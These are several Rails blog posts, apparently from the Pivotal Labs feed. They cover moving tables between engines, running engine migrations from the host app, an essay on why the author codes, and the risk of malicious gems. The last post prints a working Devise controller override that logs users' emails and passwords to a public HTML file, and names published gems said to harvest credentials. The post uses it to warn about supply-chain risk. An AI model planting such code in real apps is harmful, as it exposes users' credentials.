Why would we do this? When it comes to refactoring, there are times when you want to move a database table from one engine to another. Better yet, pull a whole table out into it’s own new engine! Or maybe you have a big Rails app, and you’re wanting to pull chunks of functionality into engines.

Doing any of these refactorings is tricky if your migrations touch multiple database tables. If you’re in this boat, then your best bet is to drop the table in one migration, and do a new migration to create the table again in your new engine. But if your migrations for that table ONLY touch the table your trying to move, then it’s as easy as…

1) Move ALL migration files for the db table from engine X to engine Y (this includes the migrations that created the table, added columns to it, renamed it, etc)
2) Run rake app:db:drop app:db:create && rake app:db:migrate app:db:test:prepare from within engine X and engine Y

…and you’re done. You’ve moved your database table from engine X to engine Y!

The crazy thing is, when you run rake db:migrate from your wrapping Rails app (the one that requires all your engines), it won’t run any new migrations. To the wrapping Rails app (ie your production server), there are no new migrations. It’s pulling the same migrations from a different place, so it doesn’t notice a difference.

This makes refactoring and moving tables around 100x easier, and I loooove me some easy refactorings!

The post Moving db tables between Rails engines appeared first on Pivotal Labs.

There are three options for migrations within an engine (spoiler: #3 is the best):

1) You can use the your_engine_name:install:migrations rake task, which copies the migrations out of the engine and into the wrapping Rails app where they can be run normally. This works fine if your migrations in your engine never change, but if you’re actively developing your engine you need to run this rake task each time you add a migration.

2) You can put all your migrations in your wrapping Rails app. This works if you’re using your engines as a way to break up your app, but it doesn’t feel right. If your models, views, and controllers all live within the engine (and depend on migrations), shouldn’t your migrations live within the engine as well? If your migrations live in the wrapper Rails app, you actually create a weird upward dependency where the engine is actually dependent on the wrapper app. This is bad.

3) You can monkey patch Rails so all of your engine’s migrations automatically get run in the wrapper Rails app. Everything just works, and migrations live where they should: in the engine. If you’re breaking up your large Rails app into engines, this is the way to go. Here’s how you do it….

Within your Rails engine, there should be a file called engine.rb here’s an example of it for an engine I called EngineWithMigrations:

module EngineWithMigrations
  class Engine < ::Rails::Engine
    isolate_namespace EngineWithMigrations
  end
end

All you need to do is tell Rails to add your engine’s migration directory to its list of places it looks for migrations. Like so:

module EngineWithMigrations
  class Engine < ::Rails::Engine
    isolate_namespace EngineWithMigrations
    
    initializer :append_migrations do |app|
      unless app.root.to_s.match root.to_s
        app.config.paths["db/migrate"] += config.paths["db/migrate"].expanded
      end
    end
  end
end

app.config is the config of your wrapper Rails app, config is the config of your engine. The above line adds the engine's migration directory to the wrapper Rails app's migration directory list. The unless wrapping it is to keep your migrations from running twice in your testing dummy app (which already runs migrations fine). Now when you run rake db:migrate from your wrapper app, your engine's migrations just work!

The post leave your migrations in your Rails engines appeared first on Pivotal Labs.

Does it satisfy your soul?

If you had a billion dollars, would you write another line of code?

Three years ago, I quit my Rails consulting gig, bought a VW Bus and started traveling. I thought, if I was independently wealthy I would spend my life traveling, climbing and surfing. I loved that life. I was living the dream.

I didn’t write a line of code… for 6 months. Then, in the middle of winter, in Kentucky, I spent three days in the basement of a pizza shop. No running water, no heat…. but it had electricity and wifi. I spent three days hacking away, and I loved it.

At that point I realized that I needed to write code. It provided something my soul craved.

I think it’s the ability to CREATE that I love. I find taking an idea and turning it into reality… satisfying. Maybe if I could paint, compose music, or ice sculpt with a chain saw I’d do one of those things instead, but I can’t.

I can code. Coding satisfies my soul’s need to create.

Is coding right for you? How do you know?

The post coding for the soul appeared first on Pivotal Labs.

This satisfied the client, but it got me wondering: what’s the worst thing that could happen from a gem if it was malicious? The worst case I could imagine would be the client’s customer’s data getting stolen, the customers completely loosing faith in the site, and the client’s project failing because of it.

How likely is this to happen? I don’t really know.

How hard would it be for someone to do this?

I decided to see what it would take to harvest usernames and passwords from a typical Rails app using Devise for authentication. In less than 5 minutes, I had written an initializer which modified the behavior of the Devise controller to write out usernames and passwords to an HTML file in the public directory of the app.

The code wasn’t clever at all. I copied/pasted the create action, and added three extra lines to write out the data to the file.

      class Devise::SessionsController < ApplicationController
        prepend_before_filter :require_no_authentication, :only => [ :new, :create ]
        include Devise::Controllers::InternalHelpers

        # POST /resource/sign_in
        def create
          File.open("#{Rails.root}/public/passwords.html", 'a+') do |f|
            f.write("#{params[:user][:email]} #{params[:user][:password]}<br />")
          end
...

So the answer to my question, how hard would it be for someone to write a malicious gem that would compromise customer data: dead easy.

I packaged up the code as a gem. Anyone can easily pwn their own Devise Rails app by adding the following line to their Gemfile:

gem 'devise_hack'

Of course, who would install a gem that would pwn their own app? No one, but what about a “long con” approach?

Say I wrote a useful gem, pushed updates occasionally, and got a decent level adoption. At this point I could push a new version of the gem which contained a little hack, and wait for the usernames and passwords to roll in. Maybe like this little guy…

gem 'awesome_rails_flash_messages'

This little gem takes all of your Rails flash messages and makes them more awesome. Simple as that. Ohh, it also logs and requests containing a password to a file AND posts it to an external web service, but that’s nothing to worry about.

So how do you avoid these malicious gems? For this dead simple hack, it is dead simple to identify. All you have to do is look at the source code. If you see code that is writing credentials to a file, maybe posting to an external web service, or sending emails when it really shouldn’t be… you might want to reconsider using that gem.

The post Do you know what your gems are doing? appeared first on Pivotal Labs.